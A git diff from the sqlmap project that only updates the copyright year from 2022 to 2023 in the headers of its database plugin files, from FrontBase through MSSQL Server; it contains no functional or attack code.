diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py
index ce24422d991..4e25dd9516c 100644
--- a/plugins/dbms/frontbase/connector.py
+++ b/plugins/dbms/frontbase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py
index 0542df4278b..88596caac17 100644
--- a/plugins/dbms/frontbase/enumeration.py
+++ b/plugins/dbms/frontbase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py
index 253bcffb19b..ca58e1c5002 100644
--- a/plugins/dbms/frontbase/filesystem.py
+++ b/plugins/dbms/frontbase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py
index 5f142b9820e..06d03371f13 100644
--- a/plugins/dbms/frontbase/fingerprint.py
+++ b/plugins/dbms/frontbase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/frontbase/syntax.py
+++ b/plugins/dbms/frontbase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py
index db88528342c..9eb74a13b32 100644
--- a/plugins/dbms/frontbase/takeover.py
+++ b/plugins/dbms/frontbase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py
index 8455010c226..f570b406c83 100644
--- a/plugins/dbms/h2/__init__.py
+++ b/plugins/dbms/h2/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py
index 1bbdd5b780c..f72a9ad4d76 100644
--- a/plugins/dbms/h2/connector.py
+++ b/plugins/dbms/h2/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py
index 81fb1a52a3c..d833de65c91 100644
--- a/plugins/dbms/h2/enumeration.py
+++ b/plugins/dbms/h2/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py
index e2074d15036..42a8943eef0 100644
--- a/plugins/dbms/h2/filesystem.py
+++ b/plugins/dbms/h2/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py
index c1403e592b4..822e1723ed9 100644
--- a/plugins/dbms/h2/fingerprint.py
+++ b/plugins/dbms/h2/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/h2/syntax.py
+++ b/plugins/dbms/h2/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py
index 15f437e56c3..556a11c76bb 100644
--- a/plugins/dbms/h2/takeover.py
+++ b/plugins/dbms/h2/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py
index 54209511600..46745fa794f 100644
--- a/plugins/dbms/hsqldb/__init__.py
+++ b/plugins/dbms/hsqldb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py
index 40b47e8a569..3f46a69b7df 100644
--- a/plugins/dbms/hsqldb/connector.py
+++ b/plugins/dbms/hsqldb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py
index 3692153ffd4..06e0397c252 100644
--- a/plugins/dbms/hsqldb/enumeration.py
+++ b/plugins/dbms/hsqldb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py
index abe6592ba60..b2760719015 100644
--- a/plugins/dbms/hsqldb/filesystem.py
+++ b/plugins/dbms/hsqldb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py
index 348e5ba27c5..86aa0aeaa98 100644
--- a/plugins/dbms/hsqldb/fingerprint.py
+++ b/plugins/dbms/hsqldb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/hsqldb/syntax.py
+++ b/plugins/dbms/hsqldb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py
index 692ce013ce2..99a8a03ce59 100644
--- a/plugins/dbms/hsqldb/takeover.py
+++ b/plugins/dbms/hsqldb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py
index a9958c20abb..ca2f8f1efdb 100644
--- a/plugins/dbms/informix/__init__.py
+++ b/plugins/dbms/informix/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py
index 1373535149b..7b75e405143 100644
--- a/plugins/dbms/informix/connector.py
+++ b/plugins/dbms/informix/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py
index 8e2d938c237..f878f27e7f9 100644
--- a/plugins/dbms/informix/enumeration.py
+++ b/plugins/dbms/informix/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/informix/filesystem.py
+++ b/plugins/dbms/informix/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py
index 843dc05325a..c190fa080c9 100644
--- a/plugins/dbms/informix/fingerprint.py
+++ b/plugins/dbms/informix/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py
index 984fd58a558..a7e307bf482 100644
--- a/plugins/dbms/informix/syntax.py
+++ b/plugins/dbms/informix/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py
index 1d0ae95f4b4..bcbc4b5e11d 100644
--- a/plugins/dbms/informix/takeover.py
+++ b/plugins/dbms/informix/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py
index fb4519224ba..6ab3b3d8782 100644
--- a/plugins/dbms/maxdb/__init__.py
+++ b/plugins/dbms/maxdb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py
index 0107f8b9580..14d22ee24e4 100644
--- a/plugins/dbms/maxdb/connector.py
+++ b/plugins/dbms/maxdb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py
index f6dcf20428a..a83b9c2fafa 100644
--- a/plugins/dbms/maxdb/enumeration.py
+++ b/plugins/dbms/maxdb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py
index c9d66b10101..d06d159cd2d 100644
--- a/plugins/dbms/maxdb/filesystem.py
+++ b/plugins/dbms/maxdb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py
index 5dcea6a48dd..2f8788ac7f0 100644
--- a/plugins/dbms/maxdb/fingerprint.py
+++ b/plugins/dbms/maxdb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/maxdb/syntax.py
+++ b/plugins/dbms/maxdb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py
index 69d7283f327..0a51217c229 100644
--- a/plugins/dbms/maxdb/takeover.py
+++ b/plugins/dbms/maxdb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py
index 00a39a50702..3e41787ec80 100644
--- a/plugins/dbms/mckoi/__init__.py
+++ b/plugins/dbms/mckoi/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py
index 3645c9a5c93..128c77b2d6b 100644
--- a/plugins/dbms/mckoi/connector.py
+++ b/plugins/dbms/mckoi/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py
index a4ddb06ca6e..3b902808320 100644
--- a/plugins/dbms/mckoi/enumeration.py
+++ b/plugins/dbms/mckoi/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py
index 65807cfa3e3..49ea280bef9 100644
--- a/plugins/dbms/mckoi/filesystem.py
+++ b/plugins/dbms/mckoi/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py
index 6bdace64714..a3bfde48f33 100644
--- a/plugins/dbms/mckoi/fingerprint.py
+++ b/plugins/dbms/mckoi/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/mckoi/syntax.py
+++ b/plugins/dbms/mckoi/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py
index 012122c73f3..cbc55ae11d5 100644
--- a/plugins/dbms/mckoi/takeover.py
+++ b/plugins/dbms/mckoi/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py
index 37d38483372..fbf38d9c977 100644
--- a/plugins/dbms/mimersql/__init__.py
+++ b/plugins/dbms/mimersql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py
index 93a392216a7..4307f5b697e 100644
--- a/plugins/dbms/mimersql/connector.py
+++ b/plugins/dbms/mimersql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py
index b27f593aa97..57a9f22ebb8 100644
--- a/plugins/dbms/mimersql/enumeration.py
+++ b/plugins/dbms/mimersql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/mimersql/filesystem.py
+++ b/plugins/dbms/mimersql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py
index 6e367a1ae13..8052ee02273 100644
--- a/plugins/dbms/mimersql/fingerprint.py
+++ b/plugins/dbms/mimersql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py
index 8cd965a4c9e..2d63b897ed2 100644
--- a/plugins/dbms/mimersql/syntax.py
+++ b/plugins/dbms/mimersql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py
index 9a95b286d61..497745a0c7e 100644
--- a/plugins/dbms/mimersql/takeover.py
+++ b/plugins/dbms/mimersql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py
index 94f64c0ed52..ef29a313fd3 100644
--- a/plugins/dbms/monetdb/__init__.py
+++ b/plugins/dbms/monetdb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py
index 68b14d3e4a2..7fb635e878c 100644
--- a/plugins/dbms/monetdb/connector.py
+++ b/plugins/dbms/monetdb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py
index 570785e237e..10b528c7deb 100644
--- a/plugins/dbms/monetdb/enumeration.py
+++ b/plugins/dbms/monetdb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/monetdb/filesystem.py
+++ b/plugins/dbms/monetdb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py
index 85d0a1591c6..bda2504ebaa 100644
--- a/plugins/dbms/monetdb/fingerprint.py
+++ b/plugins/dbms/monetdb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py
index 63593591ed5..1fc6130fca6 100644
--- a/plugins/dbms/monetdb/syntax.py
+++ b/plugins/dbms/monetdb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py
index f097e5e2edf..f38bd0c89d5 100644
--- a/plugins/dbms/monetdb/takeover.py
+++ b/plugins/dbms/monetdb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py
index e55c3e0c86e..28e2dc4af02 100644
--- a/plugins/dbms/mssqlserver/__init__.py
+++ b/plugins/dbms/mssqlserver/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py
index 96c41f3ed90..92b37287d98 100644
--- a/plugins/dbms/mssqlserver/connector.py
+++ b/plugins/dbms/mssqlserver/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py
index 6654fe67b25..e5407ceec9e 100644
--- a/plugins/dbms/mssqlserver/enumeration.py
+++ b/plugins/dbms/mssqlserver/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py
index ddf7c12f6bd..1a8e87f417f 100644
--- a/plugins/dbms/mssqlserver/filesystem.py
+++ b/plugins/dbms/mssqlserver/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py
index 709a4f030e3..41658cdae16 100644
--- a/plugins/dbms/mssqlserver/fingerprint.py
+++ b/plugins/dbms/mssqlserver/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py
index 9bd4473dddd..dad14e4a489 100644
--- a/plugins/dbms/mssqlserver/syntax.py
+++ b/plugins/dbms/mssqlserver/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py
index d35b0c23788..58cf875ada5 100644
--- a/plugins/dbms/mssqlserver/takeover.py
+++ b/plugins/dbms/mssqlserver/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
